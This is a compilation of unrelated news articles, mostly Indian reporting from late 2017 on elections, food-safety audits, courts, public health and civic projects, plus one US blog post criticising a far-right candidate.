Andhra Pradesh had significantly contributed to the Congress bid to regain power at the Centre in 2004 and then retain it in 2009 but the party has been relegated to the political margins in the state after its bifurcation. The state of affairs is no different in Telangana, which was carved out from Andhra Pradesh in June 2014.

One of the major tasks before Rahul is to shed the partys status-quoist tag and move fast in terms of decision making.

Time is the essence. Imagine if Rahul Gandhi had started his Gujarat campaign a year ago.the results certainly would have been different. He also needs to carry out a surgical strike to make the party fighting fit for the 2019 elections, a Congress leader said.

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The Comptroller and Auditor General (CAG), Indias constitutionally mandated federal auditor, has cited serious lapses in enforcing food-safety norms in the country, which, it said, could be putting public health at risk.

A majority of the countrys food-testing laboratories were poorly managed, the report said. It found that 65 of the 72 state-wide food laboratories were not accredited to the National Accreditation Board for Testing and Calibration Laboratories (NABL), as required. Consequently, the quality of testing by these laboratories cannot be assured, the CAG report said. The Food Safety and Standards Authority of India (FSSAI), the national regulator, relies on these laboratories to confirm safety of food items.

Over 50% of licenses granted to manufacturers were issued on the basis of incomplete documents, which suggests they may not be fully complying with safety standards. From popular snacks to savouries, all foods found in stores possess the FSSAIs licences.

In 2014, a state-level food laboratory in Uttar Pradeshs Gorakhpur had found Swedish food giant Nestle SAs popular instant noodles brand, Maggi, to be unsafe. Nestle SA had, at the time, claimed its product was safe and that there were issues of interpretation by Indian food inspectors. Samples tested were found to contain monosodium glutamate or MSG in Maggi.

The samples were then sent to the Kolkata-based Central Food Laboratory in June 2014. The Kolkata lab took almost a year to come out with a verdict, which said the samples not only contained MSG but also lead. This prompted the FSSAI to order a recall of Maggi in June 2015.

Most of the state food laboratories entrusted with food testing and certification functions, were not only ill-equipped but also did not possess the NABL accreditation, the CAG report states.

A range of issues afflicts these laboratories, including lack of trained manpower, which hampered effective fixing of science based food standards and their enforcement. The FSSAIs office did not respond to queries on the CAG report, including an email sent to the CEOs office.

Governance lapses could mean a lot of ineligible and unsafe products could be floating around. The other aspect is technical, namely proper calibration of laboratories, said Anurag Sharma, a former food-standards consultant to the UNs Food and Agricultural Organisation.

Any relaxation of food-safety standards and their enforcement may lead to proliferation of illegal, dishonest manufacturers and suppliers, which is detrimental to public health, the CAG said.

It said the enforcement aspects of the FSSAI were slack, including activities related to licensing, registration, inspection, sampling and prosecution. The FSSAI, according to the audit, had also failed to finalise recruitment regulations and there were irregularities in the appointment of contractual employees. Until the enactment of the Food Safety Act, 2006, the main legislation that governed food safety was the archaic Prevention of Food Adulteration Act, 1954.

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After Lok Sabha members on Tuesday expressed concern over the Brahmaputra river being polluted by China, parliamentary affairs minister Ananth Kumar assured the House that he will take up the issue at the highest level in the government.

The matter was raised by Bhartruhari Mahtab of the Biju Janata Dal (BJD) during Zero Hour. Mahtab said pollution in the river which flows through China, India and Bangladesh, has increased. He said that the issue must be taken up with Beijing.

Referring to media reports, the BJD leader said cement flowing in the river water was causing great damage to health of the river and also to irrigation facility.

Nephelometric Turbidity Unit (NTU) in Siang river is very high..., he said raising the issue.

He also urged the Centre to make the issue public and share the response of the Chinese government.

Mahtab was joined by Bharatiya Janata Party member from Assam Bijoya Chakravarty, who said the water in the river has been polluted at the source.

Chakravarty also said that the issue was raised with home minister Rajnath Singh, who promised to take it up with external affairs minister Sushma Swaraj.

It is a very serious issue. Already Brahmaputra has been completely polluted... because of some substance coming from China. It is contaminated right from source... the riparian area should be taken care of, she said.

Ananth Kumar joined the members in expressing concern over the issue.

This will definitely affect the plain, especially in Assam and northeastern parts..., he said.

Water in the Siang river, which flows as Yarlung Tsangpo from southern Tibet, and becomes the Brahmaputra river in Assam, has turned black.

Arunachal Pradesh Chief Minister Pema Khandu and his Assam counterpart Sarbananda Sonowal have also raised the issue with the central government.
Extensive ground-level coordination. A responsive government that was relatively free of controversy. And, above all, the charisma and personal appeal of Prime Minister Narendra Modi: A troika of these factors helped the Bharatiya Janata Party (BJP) buck anti-incumbency in the closest election Gujarat has seen in years.

Modis appeal was seen to be intact in urban areas, where the BJP scored massive victories over the Congress and won 46 of the 56 seats. In all, the saffron party won 99 of the 182 seats and the Congress 77.

(Gujarat election result reactions LIVE)

Urban voters still feel very strong emotional connect with Narendrabhai. This is what the result tells today, said political analyst Shirish Kashikar. The proof of that appeal was seen especially in the industrial belt of Surat, where despite discontent over the Goods and Services Tax and Patidar quota protests, the BJP won 15 of 16 seats.

Modi, who travelled across the state extensively and covered about 30,000 kilometers, was also successful in invoking Gujarati pride during the latter half of the campaign. Congress did a self -goal through senior leader Mani Shankar Aiyars `neech comment against the PM, Kashikar opined.

Functionaries of the Rashtriya Swayamsevak Sangh who were part of the campaign said Modis administrative skills and his popularity still retained a connect with the Gujarat voter.

Another factor that likely worked in the BJPs favour was the relatively calm governance in the last 1.5 years, after a bumpy two years that saw waves of violent protests by the Patidars and Dalits.

Though it was a short span, but the leadership of chief minister Vijay Rupani and deputy chief minister Nitin Patel gave the BJP a much-needed stable period after the party witnessed challenges in social unrest and losses in local bodies, said political analyst Jwalant Chhaya. This also remained a period with no corruption charges against the government.

Senior party leaders who refused to be named also said the alacrity the government showed in addressing issues, whether it was the concerns of traders over GST or the grievances of the Dalits and the Patidars, helped it project itself as an administration that had its ears to the ground. Moreover, the superior booth-level coordination  BJP chief Amit Shah had stitched together a multi-layered system  helped the well-organised BJP edge out the Congress, which had a weak presence on the ground.

Many people, especially Delhi-based media said that the party will lose out on the Patidar vote, there has been some loss, but the community still believes in the BJP, a party functionary said. Many traders in Surat told Hindustan Times that the changes brought to GST rates and filing systems had convinced them to vote for the BJP.

Saffron party leaders dismissed the suggestion the party was facing a stiff challenge from younger leaders such as OBC leader Alpesh Thakor, Dalit leader Jignesh Mevani and Patidar leader Hardik Patel.

There is sense of pride in the Gujarati people, the state has better indices than most and the credit goes to the BJPs administration. There might be discontent in some pockets, but there is no large scale anger or disenchantment with the government Mondays results have shown, an RSS functionary in Ahmedabad said.

Other experts pointed out that despite the lower seat share, the BJPs sixth straight term in the state was itself impressive.In my opinion it is a historic outcome, both in terms of the campaign and the victory, said Heeraman Tiwari of the Centre For Historical Studies, School of Social Sciences, Jawaharlal Nehru University.

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The National Green Tribunal (NGT) is battling a severe staff crunch. When its chairman Justice Swatanter Kumar retires on Tuesday, the green court will be left with less than a third of its sanctioned strength of 20 members.

Two other members, Justice MS Nambiar and Justice UD Salvi, are set to retire in January and February next year.

Created in 2010 for expeditious disposal of cases related to environment protection and forest conservation, the NGT started with seven benches across the country. Members say it is now effectively working with just two regular benches  a principal bench in Delhi headed by Justice Kumar and another in Bhopal.

Under the NGT Act, a regular bench consists of one judicial and one expert member.

Last ditch efforts by the NGT bar association to save the specialised forum from inching towards a closure also failed after the Supreme Court on last week refused to give a two-month extension to its retiring members.

Advocate ADN Rao, appearing for the NGT bar, urged a bench headed by Chief Justice Dipak Misra to pass a judicial order giving three months extension to retiring judicial and non judicial members of NGT.

Pointing to NGTs depleting strength, Rao pleaded with the top court to extend the concession of extension of service of retiring members as it did in the case of the case of Central Administrative Tribunal and the National Consumer Disputes Redressal Commission (NCDRC) last month.

When Rao asserted, the CJI told him he was aware of the situation.

Starting with seven benches all over the country, the NGT is now effectively working with just two regular benches, one of which is the principal bench in Delhi headed by justice (retd) Kumar. The other is in Bhopal.

Under the NGT Act, a regular bench should comprise one judicial and one expert member. Due to non-filling of vacancies against retirements, there are only two expert members left  one in Delhi and the other in Bhopal.

To tide over the existing situation, NGT set up two single-member benches headed by a judicial member each to sit in Chennai and Kolkata.

This new creation of single-member bench has been challenged by the NGT bar in the Supreme Court and is pending adjudication.

The last appointment to NGT was that of Nagin Nanda, an expert member, who joined the principal bench on March 1.

Due to paucity of members, only one of the three courts in Delhis principle bench is sitting. Two of the four zonal benches have also stopped functioning due to non-filling of vacancies.

Despite the constraints, NGT has been able to clear cases as per the mandate, which is to dispose cases within six months. More than 23,000 cases were filed since it began seven years ago. The green court has decided 19,970 and just a little over 3,300 cases are left for final disposal.

Besides, the tribunal has imposed heavy costs on industries and companies in accordance with the polluters pay principle.

Rao, who also assists the top court in several environment-related cases, told HT the reason for delay has been the amendment to the Finance Act that modified the process to make appointments in tribunals. The amendment gives government an upper hand in recommending the names of its members.

Petitions are pending in the SC against the amendment. The government has agreed to change the Act to make the CJI or his nominee the head of the selection and disciplinary committee. Hopefully, there should be some movement, Rao said, adding that at until then, the top court should have let the present members continue or order fresh appointments under the old rules.

Alarmed at the state of affairs, the Delhi HC had recently asked the Centre if it planned to wind up the NGT.

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With assembly elections due next year, the Rajasthan government is set to install a nine-feet-high statue of Rajput queen Padmini in Udaipur, weeks after violent protests stalled the release of a Bollywood film on the subject.

The statue of Padmini, or Padmavati, will show the queen performing Jauhar, a Rajput practice of self-immolation by women to avoid dishonour at the hands of enemies, Udaipur mayor Chandra Singh told Hindustan Times.

Padminis statue will be put up along with other heroes and freedom fighters  from the Rajput, Other Backward Class and tribal communities -- who hail from the Mewar region that plays a decisive role in assembly elections.

The contract for the statues has been given to a firm in Jaipur and the statues will be ready in 3 months, said Singh.

The state has been roiled by waves of protest by caste groups such as the Shri Rajput Karni Sena, who issued death threats to the actors and director of Bollywood film Padmavati, forcing the producers to defer its release. The protesters say the film dishonours the queen by depicting romance between Padmavati and 14th century Muslim emperor Alauddin Khilji.

The filmmakers have denied all charges while historians are divided over whether Padmavati ever existed.

A year ago, the Udaipur municipal corporation had floated the idea of installing nine heroes and freedom fighters from Mewar at traffic intersections  each nine-feet-high with a four feet high pedestal and a weight of 1,300 kg. The total cost of each statue is Rs1 crore, he added.

Sources said after the public outcry over the film Padmavati, state home minister Gulab Chand Kataria, who belongs to Udaipur, has asked for the work to be speeded up.

We want to honour Mewars heroesthe contract was given a year ago. But work got delayed due to a court case against the installation of the statues. Six months were wasted in the legal battle which we finally won, Singh told Hindustan Times.

The statues commissioned were of Padmini, Rana Sanga, Rana Kumbha, Bappa Rawal, Rana Hamir, Raj Singh  all rulers of Mewar  two freedom fighters from the OBC community, Vjay Singh Pathik and Kesari Singh Bareth, and tribal leader and freedom fighter Gobind Guru.

The Mewar region covers the districts of Udaipur, Rajsamand, Chittorgarh, Pratapgarh, Banswara and Dungarpur  with a total of 35 assembly seats. In the 2013 assembly polls that the BJP won, the saffron party won 32 seats and the Congress just three. In the 2008 elections that the Congress won, the party won 24 while the BJP won 9. Two were won by other parties.

With assembly elections due in Rajasthan next year, the statues could be a bid to woo the Rajput, OBC and tribal communities.

Chief minister Vasundhara Raje wrote to Union information and broadcasting minister Smriti Irani in November, saying Padmavati should not be released in Rajasthan without necessary changes to respect the sentiments of any community.

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A division bench of the Rajasthan high court on Tuesday ordered the striking doctors to end their strike and join duty immediately. It also directed the state government not to arrest the doctors who join duty.

We mandate that the doctors must resume (their) duties from tomorrow and it would be a condition precedent that in case they report back tomorrow they shall not be arrested by the State, read the court order.

The order was passed on an application moved by Dr Abhinav Sharma, advocate and petitioner, who filed a PIL in November this year challenging the doctors strike. On November 10, the division bench had declared the strike illegal and directed the state government to communicate the same to the doctors which resulted in a compromise on November 12. However, after this, the government transferred 12 doctors, including Dr Ajay Choudhary and Dr Durga Shankar Saini, leaders of the association of in-service doctors. This angered the doctors and they again went on a strike.

It was brought to the notice of the bench that 30 people have died during the strike in November this year and deaths have been reported in the last few days of the strike. Taking note of the situation, the bench came down heavily on the striking doctors asking them to resolve the impasse.

The bench observed that the doctors have no right to go on strike, especially when all their demands have been met and some demands need consideration by the government. The agitating doctors alleged that the health minister had addressed them as ants and mosquitoes and this led them to go on a strike. Brushing aside the contention, the bench observed that this cannot be a ground for a strike. However, the court said that neither of the parties should use unparliamentary language.

The bench has renotified the matter for January 3, 2018, in which the prayer for contempt and stay will be taken up for consideration.
Three Rajasthan Administrative Service (RAS) trainee officers have tested positive for swine flu in Jaipur, a senior official said Tuesday.

More than 250 newly-appointed officers of RAS are undergoing training at the Officers Training School in Jaipur at present.

Dr Narottam Sharma, the chief medical and health officer of Jaipur-I, said one of the trainee officers was suffering from high fever and was on medication. When tested, he was found suffering from swine flu. Immediately, a rapid response team (RRT) was sent and on testing the samples of others, two more trainee officers were found positive, he said. There are five pregnant RAS trainees, who have been kept in isolation, he added.

Additional director (rural health) Dr Ravi Prakash Mathur said 127 RAS trainees, who came in contact with the three swine flu patients, have been given medicines by the RRT. He said principal secretary, medical and health, Veenu Gupta on Tuesday reviewed the situation of seasonal diseases. Gupta has directed to maintain vigil over the situation and immediately send RRTs on finding any case of swine flu and dengue, said Dr Mathur.

He said from January 1 to December 18, swab samples of 11,689 people were tested in Rajasthan, of which 3,205 were found swine flu positive, while 239 people died. From December 1 to 18, swab samples of 549 people were tested, of which 112 were found swine flu positive, while 11 people died.

Experts said if a person suffers from cold, cough, running nose, diarrhoea, vomiting, headache, fever, body pain, difficulty in breathing and if any of the two symptoms continue, then the person should immediately contact the doctor and get tested for the disease.
In his GOP primary against Paul Ryan last year, neo-Nazi multimillionaire Paul Nehlen got wiped out, 57,364 (84.1%) to 10,864 (15.9%), after spending $1,451,041 on the race, just $62,766 out of his own pocket. Ryan crushed him, effortlessly. But this year Nehlen is back and he's already raised $121,850 and has altered his approach slightly-- to appeal to an even smaller but more energized fascist fringe. If there was a Nazi Party in Wisconsin he'd be running on it's line. And... there has been constant chatter in Breitbart-world that Nehlen will indeed run as an independent next year, and not waste his time on a primary contest he can't win.





Last week, as HuffPo reported over the weekend, he was down in Alabama campaigning for Roy Moore. They also reported that "Nehlen claims to have raised 'six figures' for the Moore campaign." Nehlen's FEC record doesn't show him being a very generous a campaign donor, with just 3 ever campaign contributions, all in the summer of 2016-- $800 to Trump and $200 to the RNC on June 14 and another $1,699 to Trump August 26-- and I see no record of any contributions from Nehlen or his company, Blue Sky Global LLC, to Moore.





But one week ago he was a speaker at a Moore rally in Midland City, Alabama, huckstering the revival tent suckers with nonsensical crap about "a spiritual battle" and how Moore will "drain the swamp." HuffPo reported that 2 days before that Nehlen was on the overly anti-Semitic white power podcast Fash The Nation with two real live Nazis who use the named "Marcus Halberstram "and "Jazzhands McFeels." As you probably surmised, "fash" is alt-right shorthand not for fashion but for fascist.

It was Nehlens second appearance on the show, and his fluency with white nationalist jargon was evident as he made thinly veiled anti-Semitic remarks and proudly recounted having told a Jewish magazine editor to eat a bullet.



On Dec. 8, Nehlen used Gab, a micro-blogging platform used primarily by white nationalists, to repost a drawing another user had made for him. The drawing showed a puny Ryan, seen as the anti-Trump, next to a buff Chad Nehlen. (Chad is an alt-right term for a fit alpha-male womanizer.) In the accompanying text, Nehlen is described as having redpilled on globalism, RR and JQ.



Redpilled, a reference to the Matrix movie trilogy, is used to describe an awakening to white supremacist teachings. RR stands for race realism, and JQ stands for the Jewish question, the anti-Semitic conspiracy theory that Jews have undue influence over the media, banking and politics.







Earlier this month, Nehlen tweeted [as he frequently does ] Its okay to be white, a meme that originated on the message board 4chan, a haven for neo-Nazi trolls, and was spread enthusiastically by white nationalists. In fact its pretty awesome, he added in a follow-up tweet.

His twitter feed embraces racism and is always a baby step away from calling for deadly violence for anyone opposing fascism, or, as he might called it, "Fash." HuffPost reported that "After an argument over gun control, Nehlen had tweeted to Podhoretz, who is Jewish, that he should 'self-deport' and 'eat a bullet.'" Podhoretz responded by referring to him as "Bannon's catamite," which would imply that Nehlen takes it up the ass, at least metaphorically, from Bannon. When Nehlen was suspended from Twitter for 12 hours for the "eat a bullet" comment, he ran to a Nazi podcast and claimed he "got shoahd for 12 hours," demeaning the Holocaust in a purely neo-Nazi framing.
With the arrest of four persons from Gomti Nagar, the cyber cell of the Lucknow police on Monday busted an inter-state gang of cyber thugs that was running a fake call centre to dupe people by offering them franchise of customer service centres of banks.

The cops recovered two CPUs, two computer monitors, one printer, two laptops, three keyboards, 17 mobile phones, one four-wheeler, one two-wheeler and two fake rubber stamps from the accused.

ACCUSED OPERATED THROUGH FAKE COMPANY The miscreants were operating through a fake company wintowin. The four accused were arrested from a call centre that they were running from a rented accommodation in Vivek Khand, Gomti Nagar, to make calls to people offering them franchise of customer service centres of banks A police team from Chhattisgarh was in Lucknow on Monday to arrest the gang in connection with an FIR lodged against the fake company at Ramanuj Nagar district, Chhattisgarh, where they duped a large number of people. The cyber cell of the Lucknow police was reportedly roped in after cops from Chhattisgarh arrived here to nab the culprits.

Those arrested were identified as Devdatt Shukla, a resident of Pratapgarh; Sushil Mishra of Allahabad; Manish Chauhan of New Delhi and Gaurav Raj of Vaishali district, Bihar, whose father is a homeopathic doctor.

All of them were arrested from a call centre that they were running from a rented accommodation in Vivek Khand, Gomti Nagar, to make calls to people offering them franchise of customer service centres of banks (also known as kiosk banking). Such service centres of nationalised banks operate in rural areas.

The miscreants were operating through a fake company wintowin on whose website (www.wintowin.in) they had also uploaded the Prime Ministers photo to mislead people.

A police team from Chhattisgarh was in Lucknow on Monday to arrest the gang members in connection with an FIR lodged against the fake company at Ramanuj Nagar district, Chhattisgarh, where they duped a large number of people.

The miscreants had fraudulently collected several lakhs by duping people in Chhattisgarh.

According to reports, the cyber cell of the Lucknow police was roped in after cops from Chhattisgarh arrived here to nab the culprits.

Arun Kumar Singh, in-charge cyber cell and Vijay Veer Singh Sirohi, inspector, cyber cell and its other members were tasked with the responsibility to arrest the miscreants.

After surveillance of cell phone numbers, cops came to know that the gang was running a call centre from a rented accommodation in Vivek Khand, Gomti Nagar. The police carried out a raid and arrested four persons.

The miscreants used to make calls to people already running customer service centres, after procuring their phone numbers from the Internet.

They used to lure them by offering franchise of another customer service centre, which they could run in names of their relatives. Willing customers were asked to deposit Rs 1,500 in companys bank account and thereafter they were asked to deposit Rs 6,500 for purchasing point of sale (POS) machine, said Arun Kumar Singh.

A POS is an electronic device that is used to process card payments.

Later in the day, the four cyber thugs were sent to jail. The Chhattisgarh police were likely to take their transit remand from court on Tuesday for taking them to Chhattisgarh.
Income tax officials detained the father of one of the accused in the sensational murder of Vaibhav Tewari on Monday to quiz him about Rs 30 lakh cash recovered from his residence during a police raid.

MONETARY DISPUTE Investigation so far revealed that Vaibhav and accused Shukla were involved in property business and had a monetary dispute. In a bid to exert pressure on Vaibhav, Shukla had taken the help of Singh, who is listed as a history-sheeter at the Hazratganj police station and is believed to have enjoyed good clout among cops. The duo approached Vaibhav for a conversation, but during an argument, Singh allegedly opened fire at him, killing him on the spot. Sources said Singh, who lives in Narhi, has 27 criminal cases registered against him, and has been a nuisance for most of the traders of Hazratganj area from whom he extorted money.

Vaibhav Tewari, 28, who was also a village pradhan, was shot dead by two SUV-borne miscreants -- Vikram Singh and Suraj Shukla -- on December 16. The victims father, now with the BJP, had served as SP MLA from the Domariyaganj constituency of Siddharthnagar district.

After the murder, cops had carried out a raid at the residence of both the accused. They recovered Rs 30 lakh cash from Santosh Shuklas residence (father of Suraj Shukla).

On Monday, two officials from the income tax department met AK Shahi, station officer, Hazratganj police station, at his office to interrogate Suraj Shukla. But, as Suraj Shukla was absconding, the I-T officials expressed their desire to interrogate Santosh Shukla, who was already present at the police station. Cops had detained him to ascertain whereabouts of his son Suraj.

I-T officials took Santosh along with them to the Income Tax office for interrogation.

Keeping such large amount of cash at home is not a crime if you have bonafide sources to prove that the cash is not ill-gotten, said an official.

Meanwhile, cops were still clueless about the whereabouts of Vikram Singh and Suraj Shukla despite the fact that several police teams had been engaged to arrest the two accused. STF sleuths were also on the trail of the duo.
Three people were arrested on Monday for allegedly attacking an Argentine woman and robbing her of Rs 2,000 on the bank of the Ganga on Saturday, police said.

A sum of Rs 2,000 was recovered from their possession, the police added.

Superintendent of police, City, Dinesh Kumar Singh said Ramesh Yadav, Pinkal Yadav and Veeran Yadav were arrested from their village. The three men are residents of Katesar village in Chandauli district.

During interrogation, they confessed to having looted Rs 2,000 from the tourist, the police said. The woman identified one of the accused Ramesh Yadav when the three were paraded before her for identification, police said.

The woman lodged a complaint at Ramnagar police station on Sunday, alleging that three youths robbed her of Rs 2,000 when she went across the river to meditate on its bank on Saturday evening.

The woman lives in the Bhadaini area of Varanasi. She is associated with a non-government organisation that helps poor children.
The Yogi Adityanath government on Monday tabled its first supplementary demands of grant of Rs 11,388 crore for 2017-2018 that include Rs 519 crore for broadening/strengthening of roads and about Rs 750 crore for different needs of power sector in Uttar Pradesh.

Minister for finance Rajesh Agarwal presented the demands in the presence of chief minister Yogi Adityanath in the house.

THE DEMANDS Rs 2,450 crore to come from centre for its schemes Rs 2,091 crore for Dalit welfare schemes Rs 1,215 crore for Swachh Bharat Abhiyan Rs 390 crore for distribution of free sweaters to class 1 to 8 students Rs 413 crore for Pradhan Mantri Awas Yojana Rs 290.98 crore for Pradhan Mantri Matra Vandana Yojana

A sum of Rs 84 crore has been earmarked for minority welfare schemes. This may be called a balancing act as the demands also a have a saffron tinge with Rs 40 crore sought for expansion and beautification of roads connecting Kashi Vishwanath temple in Varanasi.

Rs 10 crore has been requested for construction of Kailash Mansarovar Bhawan and Rs 96 lakh will be needed to clear the expenses incurred on laying foundation stone of Bhawan.

Rs 16 lakh has been demanded for holding All India Prize Money Mens Kabaddi competition in memory of late Mahant Avaidyanath, the guru of chief minister Yogi Adityanath.

Allocations have also been made for different schemes named after BJP ideologue Pt Deen Dayal Upadhyay. These include Rs 580.95 crore for Deen Dayal Upadhyay Gram Jyoti Yojana, Rs 50 crore for Pt Deen Dayal Upadhyay Adarsh Nagar Panchayat Yojana and Rs 25.00 crore for holding treatment camps/fairs under Deen Dayal Upadhyay Vrahad Pashu Arogya Shivir. A token sum of Rs 1000 has been demanded for Pt Deendayal Upadhyay Khadi Vipdan (marketing) Vikas Sahayata Yojana.

An additional Rs 152.30 crore has been demanded for Poorvanchal Expressway (greenfield) project.

Rs 11.37 crore was sought for chief ministers helpline. Rs 6.05 crore has been requested to give loan to UP Cooperative Spinning Mills Federation, Kanpur (Rs 3.45 crore), UP State Yarn Company Limited, Kanpur (Rs 1 crore), UP State Textiles Corporation, Kanpur (Rs 2.83 lakh) and UP State Spinning Company, Kanpur (Rs 1.31 crore).

Rs 49.92 crore was sought for installation of instruments to control air and water pollution in cooperative sector sugar mills. Rs 17.44 crore has been requested for various schemes of animal husbandry sector, including Rs 1.89 crore for animal census.
Chief minister Devendra Fadnavis admitted the involvement of land dealers and private investors in land acquisition of key projects such as the Samruddhi corridor and the petroleum refinery in Ratnagiri. He said that 40% of the land required for the refinery project proposed in Ratnagiri has been purchased by investors.

The refinery, a joint venture of three state oil companies, with a proposed investment of Rs 2.5 lakh crore, needs 6,018 hectares of land in Ratnagiri. The locals have been opposing the project, alleging that it would disturb the biodiversity of the area, and lead to displacement of villages. The government has begun the process of land acquisition, which, with the help of Shiv Sena, is being opposed by the locals.

Though the government has offered Rs22.50 lakh a hectare as compensation for the land to be acquired, farmers have been demanding that the compensation be hiked to Rs1 crore. The locals alleged that tracks of land was purchased by land dealers and investors for paltry prices from the farmers, just ahead of the announcement of the project.

It is true that 40% of the land notified for the refinery project has been purchased by investors. They purchased the land years before the project was notified. They usually purchase land parcels at cheaper rates from farmers, who sell it in fear of losing their lands once the acquisition notice is issued. Even in case of the Samruddhi corridor, the people who had been opposing the project have become agents of the farmers. The activists who had accompanied Shiv Sena chief Uddhav Thackeray in agitation against Samruddhi, are actively involved in land dealings, Fadnavis said during interaction with the media on Tuesday morning.

Fadnavis also revealed that two Shiv Sena MPs were in the race to take the project to their respective constituencies. Sena MP and Union minister for heavy industries, Anant Gite, wanted the refinery to come up in Raigad, while Vinayak Raut wanted it to be set up in Ratnagiri. The oil companies found the Ratnagiri location suitable for the project. Even the Andhra Pradesh government was keen in implementing the project. If it is taken away by any other state, it will be really unfortunate for Maharashtra. The project will generate direct employment for one lakh locals and change the fortunes of the region, he said.

Shiv Sena has been openly opposing the project. Sena MLA Rajan Salvi and environment minister Ramdas Kadam had recently met Fadnavis, demanding cancellation of the project. The CMs statement has brought the split among Sena leadership over the project to the fore.

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Paying heed to the complaints it has been receiving from the citizens groups daily, the Central Railways (CR) has started clearing garbage lining the railway tracks.

Railway officials said 30,000 cubic metres of garbage was cleared from five locations between October and December. Our plan is to collect 1,60,000 cubic metres of garbage in the next six months, said Sunil Udasi, chief public relations officer, CR. We have already collected more than 5 lakh garbage bags from these five locations. It is being slowly transported to city dumping grounds with the help of municipal corporation.

HT had reported in February that citizens groups had started a twitter campaign to draw the attention of railway authorities to the dirty tracks on the Central and Western Railways. Dharmesh Barai from NGO Environment Life had identified 10 spots along railway tracks that had large quantities of garbage.

CR officials said garbage has been cleared from tracks near Chhatrapati Shivaji Maharaj Terminus (CSMT), Masjid Bunder, Thane, Parsik tunnel area, and Dharavi.

The clean-up drive has already witnessed collection of lakhs of garbage bags from just five locations. As per our internal discussions, we have decided to execute the collection block-by-block, in a sequential manner. In the coming months, we will be moving northwards and focusing on sections between every station, said Udasi.

He added that the Brihanmumbai Municipal Corporation (BMC) had been roped in to identify markets, offices and residential buildings that have been dumping garbage on the railway tracks. Officials from the BMCs solid waste management (SWM) department said they identified two main sources of garbage  residential complexes and slums and trash carried by nullahs.

The main issue is domestic waste, and to control the issue, we have ensured that basic level of segregation is happening at all housing societies, said a senior SWM official. Awareness drives have been conducted at slum areas along railway lines, and the number of dumper trucks has also been increased at these locations for faster collection.

Barai pointed out that notices need to be issued to societies and slum dwellers dumping waste on the tracks. We welcome the long-awaited efforts taken by the railway authorities. However, strict monitoring needs to be done regularly along these tracks. Societies and markets that continue dumping garbage need to be penalised by either the BMC or railways, he said. Nullahs with outfalls along the railway lines also need a trash collection and removal system.

While the developments have taken place only along the central line, the garbage problem persists along the western line as well. Officials from the Western Railways were not available for a comment.

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The Bharatiya Janata Party (BJP), Shiv Sena and Congress will now control two municipal councils each in the Palghar-Dahanu region.

According to the results announced by the State Election Commission, BJP won the Dahanu and Taloda municipal councils, while Congress won Nandurbar and Nawapur municipal councils and Sena won the Jawhar and Wada municipal councils.

The Commission said BJP won 44 out of the 136 seats of the six municipal councils, while Congress and Sena bagged 46 seats and 23 seats respectively.

Election to six municipal councils in the region were held this month in two phases --the polls for Nandurbar, Wada and Navapur municipal councils were held on December 13, while the polls for Dahanu, Javhar and Taloda were on December 17.

The BJP has had a successful run in the local self-government polls held this year. Last week, the party bagged six out of the ten municipal councils in the state that had gone to polls earlier.

Attributing the BJPs success to the developmental works carried out by the party, Madhav Bhandari, state BJP spokesperson said, It has been a satisfactory performance. Apart from Dahanu and Taloda, we performed well in Wada nagar panchayat as well. This goes to show that people of the state have faith in the development work carried out under the leadership of chief minister Devendra Fadnavis.

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A day after the Bharatiya Janata Partys (BJP) narrowest victory, in terms of vote share, in the Assembly elections in Prime Minister Narendra Modis home state, its ally Shiv Sena said the Gujarat model has been shaken badly.

The BJP won 99 seats, considerably lower than its intended target of 150 seats of the total 182 seats in Gujarat Assembly.

On Tuesday, in an editorial in its mouthpiece Saamana, the Sena said that the poll results are a warning for the BJP, and that it hoped the BJP does not collapse in 2019.

The BJP won in Gujarat and Himachal, but the Congress was not defeated, and the dream of a Congress-mukt India was not realised; this is a strong message to people who think their word is the law, the editorial in the Marathi daily, seen as Sena chief Uddhav Thackerays opinion, said. The Gujarat model has been shaken to its roots. We sincerely hope it does not collapse in 2019.

The Sena also mocked the BJP for putting on airs of passing with distinction when in reality it just managed to clear the exam. Though issues such as demonetisation and the Goods and Services Tax (GST) did not affect the BJP, the Congress, under the leadership of Rahul Gandhi, and Patidar leader Hardik Patel managed to halt the Narendra Modi-Amit Shah juggernaut at 99.

The ally added that no BJP leader, including the prime minister, ever spoke about development while campaigning; instead the BJP fell back on communal polarisation. The prime minister evoked Gujarati identity, Pakistan, Hindu-Muslim [equations] in his campaign, but nobody talked about the so-called development that has taken place in the past 22 years, the editorial pointed out.

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Following a public interest litigation (PIL) against the Thane Tree Authority, the Bombay high court on Tuesday asked the Thane Municipal Corporation (TMC) not to cut a single tree till January 24, potentially saving thousands of trees.

Tree lovers from Thane had approached the court alleging that the appointment of the members of the authority is illegal. The PIL also opposed the newly appointed authoritys decision to give approval to cut over 5,000 trees in its very first meeting. The PIL was registered by Rohit Joshi, a resident of Thane. Joshi has demanded that the authority be dissolved.

Joshi said, The petition was heard by justice Abhay Oka who has asked the tree authority to stop all tree cutting permission till the next hearing slated for January 24. He also stated that the tree authority is wrongly constituted and all the decisions of this authority stand cancelled.

The tree authority was formed in October 2017 and includes corporators, experts and invitees. The authority has 17 members and according to the Maharashtra Forest Conservation Act 1975, the members should be either science graduates or hold a degree in agricultural science.

Joshi had claimed in his petition that the Act had been violated as members appointed to the authority were not qualified to be on it.

Moreover, in the first meeting of the tree authority held on October 17, permission to cut 5,213 trees was given. Joshi added, The courts decision that the permissions to cut trees are to be cancelled will save at least 1,500 trees.

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The Brihanmumbai Municipal Corporations (BMC) ambitious plan to build a 300-acre park in the Arabian sea, between Nariman Point and Cuffe Parade, by reclaiming the land may have gotten a step closer to reality.

The civic body has placed a proposal to the civic standing committee, seeking to appoint Goa-based National Institute of Oceanography (NIO) and Mumbai-based National Environmental Engineering Research Institute (NEERI) to conduct sea and land impact assessment studies for the project.

If the proposal is passed by the committee on Wednesday, the studies will take about two years to complete at a cost of Rs3.59 crore to the BMC.

The civic body had proposed to build a park through reclamation in Cuffe Parade, as a part of the development plan (DP) 2034. The proposed park, modelled on New Yorks Central Park will be 300 acres.

The studies will be aimed at gauging the impact of reclamation on various aspects, such as the ecosystem of the Arabian sea, climate along the citys coastline, traffic burden, air and noise pollution, residents lifestyles, and fisherfolks livelihoods.

While NIO will assess the impact on marine ecosystem, NEERI will conduct a terrestrial environment impact assessment.

READ: New York-style Central Park at Mumbais Cuffe Parade: BMC includes fishermens demands

The Maharashtra Coastal Zone Management Authority (MCZMA), BMC has directed both organisations to work rapidly, as an impact assessment study is necessary to get the project cleared by the Union Ministry of Environment and Forest.

The study is planned in two phases: the first will be conducted prior to the 2018 monsoon cycle, and the second will be conducted during and after the 2018 monsoon cycle.
